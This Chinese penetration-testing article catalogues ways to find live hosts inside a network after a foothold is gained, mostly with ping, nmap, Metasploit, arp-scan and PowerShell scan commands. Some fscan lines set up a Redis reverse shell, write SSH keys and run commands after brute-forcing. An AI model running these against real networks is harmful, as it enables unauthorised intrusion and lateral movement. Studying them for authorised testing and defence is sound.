前言
在拿下通内网的主机权限后,普遍需要更进一步的收集内网信息,此时如何有效快速的探测内网存活主机关系到我们下一步的进展情况。当然自从有了Fscan后,我们的效率已经大大提高,不过在某些情况下fscan有时会无法正常探测,此时如何使用其他方法有效地收集内网信息成了关键,这篇文章主要记录一下在不同环境、不同条件下探测内网存活主机的方法。
内网主机探测的不同场景
我们主机扫描的场景主要分为三种:
1、获取到了webshell,此时一般用系统命令或上传脚本工具进行探测;
2、主机已在目标内网,比如已经通过正向或者反向代理搭建隧道的场景。此时可以考虑proxychains+Nmap扫描;
3、拿到了一个反弹的webshell,则可以考虑MSF。要根据不同的场景考虑支持存活探测的协议,包括了ARP、ICMP、SMB、 UDP、SNMP协议等;支持端口扫描的方式,包括TCP扫描、UDP扫描、ICMP扫描等。
内网不同协议主机探测的方式
ICMP协议探测
它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ping
ping是我们一个常用工具,主要用来测试网络连通性。也可以用它来完成对C段的探测,虽然效率低时间慢,但是不易出发安全规则。(服务器开启防火墙或者禁ping的时候不可用,否则影响探测结果)
•Windows
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
这是我在CS里执行的ping命令,可以看到c段内有两台主机存活 也可以写进文件里,方便后续查看。写进C盘的话需要administer权限,可以考虑更换盘符
@for/l%iin(1,1,255)do@ping-n1-w40192.168.1.%i&iferrorlevel1(echo192.168.1.%i>>./a.txt)else(echo192.168.1.%i>>./111.txt)
Linux
for k in $( seq 1 255);do ping -c 1 10.211.55.|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
另外,还可以结合系统自带的traceroute、arp 、netstat等命令收集内网信息,curl、wget可以用来做端口探测
nmap
nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
#或者
nmap ‐sn ‐PE ‐T4 192.168.1.0/24
UDP协议探测
Internet 协议集支持一个无连接的传输协议,该协议称为用户数据报协议(UDP,User Datagram Protocol)。UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。
Msf
msf > use auxiliary/scanner/discovery/udp_probe
或者
msf > use auxiliary/scanner/discovery/udp_sweep
nmap
sudo nmap -sU -T5 -sV --max-retries 1 10.211.55.5 -p 500
unicornscan(Linux下使用)
unicornscan-mU10.255.55.5
ScanLine(Windows下使用)
sl.exe -h -u 53,161,137,139 -O C:UsersAdministratorDes
ktoplog.txt -p 192.168.1.1-254
Netbios协议
NetBIOS协议是由IBM公司开发,主要用于数十台计算机的小型局域网。NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS协议的基础上工作的。
nmap
sudo nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
MSF
use auxiliary/scanner/netbios/nbname
nbtscan扫描
互联网搜索引擎nbtscan是一个扫描WINDOWS网络NetBIOS信息的小工具,2005年11月23日发布。NBTSCAN身材娇小,简单快速。但只能用于局域网,可以显示IP,主机名,用户名称和MAC地址等等。
下载地址:
http://www.unixwiz.net/tools/nbtscan.html#download
以Windows用法为例:nbtscan-1.0.35.exe -m 10.211.55.0/24
ARP协议
这是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
nmap
nmap -sn -PR 10.211.55.1/24
MSF
use auxiliary/scanner/discovery/arp_sweep
netdiscover
Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。
sudo netdiscover -r 10.211.55.0/24 -i eth0
arp-scan
可以看到这工具扫描速度挺快的
sudo arp-scan --interface=eth0 --localnet
SMB协议
SMB(Server Message Block)通信协议是微软和英特尔在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。
Msf
use auxiliary/scanner/smb/smb_version
nmap
nmap -sU -sS --script smb-enum-shares.nse -p 445 10.211.55.3
通过cmd
for /l %a in (1,1,254) do start /min /low telnet 10.211.55.%a 445
crackmapexec
CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。其缔造者@byt3bl33d3r称,该工具的生存概念是,“利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。”
cme smb 10.211.55.0/24
SNMP协议
SNMP 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议。SNMP 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 SNMP 接收随机消息(及事件报告)网络管理系统获知网络出现问题。
nmap
sudo nmap -sU --script snmp-brute 10.211.55.0/24 -T4
Msf
use auxiliary/scanner/snmp/snmp_enum
snmp for pl
这些 perl 脚本用于从目标系统中提取 SNMP 数据并解析这些文件以获取潜在的可用数据。
项目地址:https://github.com/dheiland-r7/snmp
这个工具在使用前需要编译,这里参考网上大佬的教程
wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz
tar xvzf ./NetAddr-IP-4.078.tar.gz
cd NetAddr-IP-4.078/
perl Makefile.PL
make
make install
使用方法:./snmpbw.pl 192.168.0.1 public 2 1
./snmpbw.pl ipfile.txt public 2 4
常见的一些其它工具
Fscan
这个就不多介绍了,太常见
fscan -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
通过powershell脚本扫描IP地址存活
这里列举几个项目地址:
https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1
https://github.com/dwj7738/My-Powershell-Repository/blob/master/Scripts/Invoke-TSPingSweep.ps1
使用方法:
powershell.exe -exec bypass -Command "Import-Module .arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
此外,还可以用powershell实现基本的端口扫描功能
针对单个IP的多个端口的扫描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
针对单个IP的多个端口的扫描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
针对某IP段 & 多个端口的扫描
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.$a",$_)) "Port $_ is open!"} 2>$null}
PTscan
PTscan(Phantom scanner) 是一款界面友好的轻量级web应用资产扫描器,适合于内网渗透测试环境下web的资产快捷识别,只需Python环境,无需第三方扩展库,扫描结果使用zoomeye网页样式。
PTscan参考了F-NAScan的设计思路,在其基础上修改而成,把程序重心放在WEB扫描和识别功能上。
使用方法:
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
##
-f 指定扫描目标文件,文件格式如list.txt所示,同时支持IP和URL
-h 指定扫描IP或IP段,支持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p 指定扫描端口,缺省使用程序中的配置端口
-m 指定线程数
-t 指定timeout
-n 不进行ping操作,直接扫描
-b 开启Banner识别
-r ReverseIP
审核编辑 :李倩
-
Web
+关注
关注
2文章
1262浏览量
69437 -
UDP协议
+关注
关注
0文章
69浏览量
12692 -
数据包
+关注
关注
0文章
260浏览量
24384
原文标题:内网主机探测工具合集
文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论